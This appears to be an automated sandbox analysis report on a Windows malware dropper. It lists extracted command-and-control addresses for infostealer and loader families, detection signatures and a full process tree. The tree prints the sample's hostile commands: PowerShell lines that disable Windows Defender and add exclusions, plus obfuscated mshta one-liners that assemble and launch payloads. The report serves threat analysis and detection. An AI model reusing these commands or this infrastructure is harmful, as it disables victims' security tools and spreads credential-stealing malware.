Resubmissions
10-11-2021 14:50
211110-r7nbvaeddr 1008-11-2021 16:12
211108-tnmmbahgaj 1008-11-2021 15:26
211108-svdsbaccf6 1008-11-2021 14:48
211108-r6lfvshdfn 10Analysis
-
max time kernel
217s -
max time network
1237s -
platform
windows11_x64 -
resource
win11 -
submitted
08-11-2021 16:12
General
-
Target
a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
Score
10/10
Malware Config
Extracted
Family
socelars
C2
http://www.iyiqian.com/
http://www.hbgents.top/
http://www.rsnzhy.com/
http://www.efxety.top/
Extracted
Family
redline
Botnet
media18
C2
91.121.67.60:2151
Extracted
Family
redline
Botnet
Chris
C2
194.104.136.5:46013
Extracted
Family
smokeloader
Version
2020
C2
http://nalirou70.top/
http://xacokuo80.top/
rc4.i32
rc4.i32
Extracted
Family
metasploit
Version
windows/single_exec
Signatures
-
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Modifies Windows Defender Real-time Protection settings 3 TTPs
-
Process spawned unexpected child process 4 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Raccoon
Simple but powerful infostealer which was very active in 2019.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 5 IoCs
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
-
Socelars Payload 2 IoCs
-
Suspicious use of NtCreateProcessExOtherParentProcess 27 IoCs
-
Suspicious use of NtCreateUserProcessOtherParentProcess 8 IoCs
-
Turns off Windows Defender SpyNet reporting 2 TTPs
-
UAC bypass 3 TTPs
-
Windows security bypass 2 TTPs
-
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata: ET MALWARE FormBook CnC Checkin (GET)
-
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
-
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
-
suricata: ET MALWARE Sharik/Smoke CnC Beacon 11
suricata: ET MALWARE Sharik/Smoke CnC Beacon 11
-
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
ASPack v2.12-2.42 6 IoCs
Detects executables packed with ASPack v2.12-2.42
-
Downloads MZ/PE file
-
Executes dropped EXE 64 IoCs
-
Modifies Windows Firewall 1 TTPs
-
Stops running service(s) 3 TTPs
-
Checks BIOS information in registry 2 TTPs 18 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Drops startup file 2 IoCs
-
Loads dropped DLL 24 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Windows security modification 2 TTPs 12 IoCs
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 3 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Checks whether UAC is enabled 1 TTPs 10 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 13 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
-
Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs
-
Suspicious use of SetThreadContext 11 IoCs
-
Drops file in Program Files directory 17 IoCs
-
Drops file in Windows directory 4 IoCs
-
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 36 IoCs
-
Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Checks processor information in registry 2 TTPs 64 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Creates scheduled task(s) 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Enumerates system info in registry 2 TTPs 34 IoCs
-
Gathers network information 2 TTPs 3 IoCs
Uses commandline utility to view network configuration.
-
Kills process with taskkill 7 IoCs
-
Runs ping.exe 1 TTPs 5 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
-
Suspicious behavior: MapViewOfSection 8 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 1 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
System policy modification 1 TTPs 2 IoCs
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
-
C:\Users\Admin\AppData\Local\Temp\a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe"C:\Users\Admin\AppData\Local\Temp\a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\setup_install.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue200ab8d408d.exe5⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue200ab8d408d.exeTue200ab8d408d.exe6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2524 -s 3007⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue201d50e7015.exe5⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue201d50e7015.exeTue201d50e7015.exe6⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-SNTEN.tmp\Tue201d50e7015.tmp"C:\Users\Admin\AppData\Local\Temp\is-SNTEN.tmp\Tue201d50e7015.tmp" /SL5="$300BC,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue201d50e7015.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue2082eedf21.exe /mixone5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue2082eedf21.exeTue2082eedf21.exe /mixone6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1940 -s 2967⤵
- Executes dropped EXE
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue20ea834764a6.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue20ea834764a6.exeTue20ea834764a6.exe6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue20adee3c26d.exe5⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue20adee3c26d.exeTue20adee3c26d.exe6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue207c76c7f37.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue207c76c7f37.exeTue207c76c7f37.exe6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue207c76c7f37.exeC:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue207c76c7f37.exe7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue2076b72c2666aa9c.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue2076b72c2666aa9c.exeTue2076b72c2666aa9c.exe6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\Pictures\Adobe Films\z2Y3c6N5PWpFjUwyxXz9wGwG.exe"C:\Users\Admin\Pictures\Adobe Films\z2Y3c6N5PWpFjUwyxXz9wGwG.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\eengN0SAkx51YZnmVlMESXRk.exe"C:\Users\Admin\Pictures\Adobe Films\eengN0SAkx51YZnmVlMESXRk.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\72e11774-ae75-4d77-b21c-44154f9920db\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\72e11774-ae75-4d77-b21c-44154f9920db\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\72e11774-ae75-4d77-b21c-44154f9920db\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run8⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\72e11774-ae75-4d77-b21c-44154f9920db\test.bat"9⤵
-
C:\Users\Admin\AppData\Local\Temp\1ffb6e98-f177-43b7-a8cc-a647830619ec\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\1ffb6e98-f177-43b7-a8cc-a647830619ec\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\1ffb6e98-f177-43b7-a8cc-a647830619ec\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run8⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1ffb6e98-f177-43b7-a8cc-a647830619ec\test.bat"9⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\eengN0SAkx51YZnmVlMESXRk.exe" -Force8⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\eengN0SAkx51YZnmVlMESXRk.exe" -Force8⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\eengN0SAkx51YZnmVlMESXRk.exe" -Force8⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force8⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force8⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\eengN0SAkx51YZnmVlMESXRk.exe" -Force8⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV19⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe"8⤵
- Executes dropped EXE
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- System policy modification
-
C:\Users\Admin\AppData\Local\Temp\b81e5174-472c-489e-8683-5edcaef447e7\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\b81e5174-472c-489e-8683-5edcaef447e7\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\b81e5174-472c-489e-8683-5edcaef447e7\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run9⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\b81e5174-472c-489e-8683-5edcaef447e7\test.bat"10⤵
-
C:\Users\Admin\AppData\Local\Temp\7ac977de-d992-47d3-a006-f3497bc2b882\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\7ac977de-d992-47d3-a006-f3497bc2b882\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\7ac977de-d992-47d3-a006-f3497bc2b882\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run9⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force9⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force9⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force9⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force9⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force9⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force9⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"9⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force8⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\eengN0SAkx51YZnmVlMESXRk.exe" -Force8⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force8⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe"8⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInUtil.exe"8⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe"8⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe"8⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\Y873uOZes7Fq7HMdEY4n6hzp.exe"C:\Users\Admin\Pictures\Adobe Films\Y873uOZes7Fq7HMdEY4n6hzp.exe"7⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5408 -s 2768⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Users\Admin\Pictures\Adobe Films\ik6m9v5HHExL22XFPRPOuoRd.exe"C:\Users\Admin\Pictures\Adobe Films\ik6m9v5HHExL22XFPRPOuoRd.exe"7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3964 -s 2808⤵
- Program crash
-
C:\Users\Admin\Pictures\Adobe Films\7pJPI8ygnI1NKfWVZzPmaLn2.exe"C:\Users\Admin\Pictures\Adobe Films\7pJPI8ygnI1NKfWVZzPmaLn2.exe"7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Pictures\Adobe Films\7pJPI8ygnI1NKfWVZzPmaLn2.exe"C:\Users\Admin\Pictures\Adobe Films\7pJPI8ygnI1NKfWVZzPmaLn2.exe"8⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\7pJPI8ygnI1NKfWVZzPmaLn2.exe"C:\Users\Admin\Pictures\Adobe Films\7pJPI8ygnI1NKfWVZzPmaLn2.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\7pJPI8ygnI1NKfWVZzPmaLn2.exe"C:\Users\Admin\Pictures\Adobe Films\7pJPI8ygnI1NKfWVZzPmaLn2.exe"8⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\C5JAfF7UJTpSvJAEcJC3LmGw.exe"C:\Users\Admin\Pictures\Adobe Films\C5JAfF7UJTpSvJAEcJC3LmGw.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3520 -s 17288⤵
- Program crash
-
C:\Users\Admin\Pictures\Adobe Films\CS3pL7gf19AXPjEmH13CFPhd.exe"C:\Users\Admin\Pictures\Adobe Films\CS3pL7gf19AXPjEmH13CFPhd.exe"7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Pictures\Adobe Films\CS3pL7gf19AXPjEmH13CFPhd.exe"C:\Users\Admin\Pictures\Adobe Films\CS3pL7gf19AXPjEmH13CFPhd.exe"8⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\Pictures\Adobe Films\oIdIElIZD0pJq3WUsXNnYy4h.exe"C:\Users\Admin\Pictures\Adobe Films\oIdIElIZD0pJq3WUsXNnYy4h.exe"7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose ( creAteObjecT ("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\oIdIElIZD0pJq3WUsXNnYy4h.exe"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If """"== """" for %K iN ( ""C:\Users\Admin\Pictures\Adobe Films\oIdIElIZD0pJq3WUsXNnYy4h.exe"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )8⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\Pictures\Adobe Films\oIdIElIZD0pJq3WUsXNnYy4h.exe" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If ""== "" for %K iN ( "C:\Users\Admin\Pictures\Adobe Films\oIdIElIZD0pJq3WUsXNnYy4h.exe" ) do taskkill -im "%~NxK" -F9⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -im "oIdIElIZD0pJq3WUsXNnYy4h.exe" -F10⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Local\Temp\8pWB.eXE8pWB.eXe /pO_wtib1KE0hzl7U9_CYP10⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose ( creAteObjecT ("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If ""/pO_wtib1KE0hzl7U9_CYP ""== """" for %K iN ( ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )11⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If "/pO_wtib1KE0hzl7U9_CYP "== "" for %K iN ( "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" ) do taskkill -im "%~NxK" -F12⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpT: close (crEaTEOBject ( "WSCRIPt.SheLl" ). rUn ( "C:\Windows\system32\cmd.exe /c EcHO | seT /p = ""MZ"" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 + HxU0.m + HR0NM.yl + _AECH.7 + ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY " , 0 , TruE ) )11⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c EcHO | seT /p = "MZ" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 + HxU0.m + HR0NM.yl + _AECH.7 + ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY12⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHO "13⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" seT /p = "MZ" 1>1AQCPNL9.1"13⤵
-
C:\Windows\SysWOW64\msiexec.exemsiexec.exe -y .\N3V4H8H.SXY13⤵
-
C:\Users\Admin\Pictures\Adobe Films\uaGwPkTj7_XbMhGpcb7l2D64.exe"C:\Users\Admin\Pictures\Adobe Films\uaGwPkTj7_XbMhGpcb7l2D64.exe"7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4108 -s 2808⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Users\Admin\Pictures\Adobe Films\0OWMoxbNwK3p0CfsHrGc1Ay8.exe"C:\Users\Admin\Pictures\Adobe Films\0OWMoxbNwK3p0CfsHrGc1Ay8.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=18⤵
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--bo6y9QQgnM"9⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x204,0x208,0x20c,0x1e0,0x210,0x7ffd53b0dec0,0x7ffd53b0ded0,0x7ffd53b0dee010⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x13c,0x140,0x144,0x118,0x148,0x7ff7e50c9e70,0x7ff7e50c9e80,0x7ff7e50c9e9011⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1588,18017072315446225346,14935287651120707608,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6964_153689756" --mojo-platform-channel-handle=1852 /prefetch:810⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1588,18017072315446225346,14935287651120707608,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6964_153689756" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1584 /prefetch:210⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1588,18017072315446225346,14935287651120707608,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6964_153689756" --mojo-platform-channel-handle=2248 /prefetch:810⤵
-
